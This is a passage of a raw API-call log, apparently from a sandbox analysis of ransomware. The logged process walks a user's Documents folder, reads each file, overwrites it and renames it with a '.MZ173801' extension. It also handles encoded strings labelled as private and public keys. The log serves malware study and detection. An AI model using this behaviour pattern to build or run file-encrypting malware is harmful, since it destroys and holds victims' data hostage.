(lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\e ZQq3U39G_rOP6ie.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\e zqq3u39g_rop6ie.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.211] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0171.211] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.211] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x2d1a [0171.211] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.211] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x2d1a, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x2d1a, lpOverlapped=0x0) returned 1 [0171.212] CloseHandle (hObject=0x27c) returned 1 [0171.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\e ZQq3U39G_rOP6ie.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\e zqq3u39g_rop6ie.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.214] WriteFile (in: hFile=0x27c, lpBuffer=0x24cce00*, nNumberOfBytesToWrite=0x2d1a, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cce00*, lpNumberOfBytesWritten=0x19f48c*=0x2d1a, lpOverlapped=0x0) returned 1 [0171.215] CloseHandle (hObject=0x27c) returned 1 [0171.216] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\e ZQq3U39G_rOP6ie.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\e zqq3u39g_rop6ie.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\e ZQq3U39G_rOP6ie.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\e zqq3u39g_rop6ie.xlsx.mz173801")) returned 1 [0171.217] GetCurrentThreadId () returned 0xab4 [0171.217] GetCurrentThreadId () returned 0xab4 [0171.217] GetCurrentThreadId () returned 0xab4 [0171.217] GetCurrentThreadId () returned 0xab4 [0171.217] GetCurrentThreadId () returned 0xab4 [0171.217] GetCurrentThreadId () returned 0xab4 [0171.217] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154dc80, ftCreationTime.dwHighDateTime=0x1d5ea12, ftLastAccessTime.dwLowDateTime=0x89189d0, ftLastAccessTime.dwHighDateTime=0x1d5e932, ftLastWriteTime.dwLowDateTime=0x89189d0, ftLastWriteTime.dwHighDateTime=0x1d5e932, nFileSizeHigh=0x0, nFileSizeLow=0x11e54, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="GwZIku Rmcnil9.rtf", cAlternateFileName="GWZIKU~1.RTF")) returned 1 [0171.217] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.217] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\GwZIku Rmcnil9.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\gwziku rmcnil9.rtf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154dc80, ftCreationTime.dwHighDateTime=0x1d5ea12, ftLastAccessTime.dwLowDateTime=0x89189d0, ftLastAccessTime.dwHighDateTime=0x1d5e932, ftLastWriteTime.dwLowDateTime=0x89189d0, ftLastWriteTime.dwHighDateTime=0x1d5e932, nFileSizeHigh=0x0, nFileSizeLow=0x11e54)) returned 1 [0171.217] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\GwZIku Rmcnil9.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\gwziku rmcnil9.rtf")) returned 0x20 [0171.217] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\GwZIku Rmcnil9.rtf", dwFileAttributes=0x80) returned 1 [0171.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0171.221] GetCurrentThreadId () returned 0xab4 [0171.221] GetCurrentThreadId () returned 0xab4 [0171.221] GetCurrentThreadId () returned 0xab4 [0171.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.222] GetCurrentThreadId () returned 0xab4 [0171.222] GetCurrentThreadId () returned 0xab4 [0171.222] GetCurrentThreadId () returned 0xab4 [0171.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\GwZIku Rmcnil9.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\gwziku rmcnil9.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.222] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0171.222] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.222] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x11e54 [0171.222] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.222] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x11e54, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x11e54, lpOverlapped=0x0) returned 1 [0171.224] CloseHandle (hObject=0x27c) returned 1 [0171.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\GwZIku Rmcnil9.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\gwziku rmcnil9.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.228] WriteFile (in: hFile=0x27c, lpBuffer=0x24dae00*, nNumberOfBytesToWrite=0x11e54, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24dae00*, lpNumberOfBytesWritten=0x19f48c*=0x11e54, lpOverlapped=0x0) returned 1 [0171.230] CloseHandle (hObject=0x27c) returned 1 [0171.230] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\GwZIku Rmcnil9.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\gwziku rmcnil9.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\GwZIku Rmcnil9.rtf.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\gwziku rmcnil9.rtf.mz173801")) returned 1 [0171.231] GetCurrentThreadId () returned 0xab4 [0171.231] GetCurrentThreadId () returned 0xab4 [0171.231] GetCurrentThreadId () returned 0xab4 [0171.231] GetCurrentThreadId () returned 0xab4 [0171.231] GetCurrentThreadId () returned 0xab4 [0171.231] GetCurrentThreadId () returned 0xab4 [0171.231] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31f8da0, ftCreationTime.dwHighDateTime=0x1d5ecfb, ftLastAccessTime.dwLowDateTime=0x33487cf0, ftLastAccessTime.dwHighDateTime=0x1d5f031, ftLastWriteTime.dwLowDateTime=0x33487cf0, ftLastWriteTime.dwHighDateTime=0x1d5f031, nFileSizeHigh=0x0, nFileSizeLow=0xc247, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Kbg6SBTSjJvSFEUP4JMP.pptx", cAlternateFileName="KBG6SB~1.PPT")) returned 1 [0171.231] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.231] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, 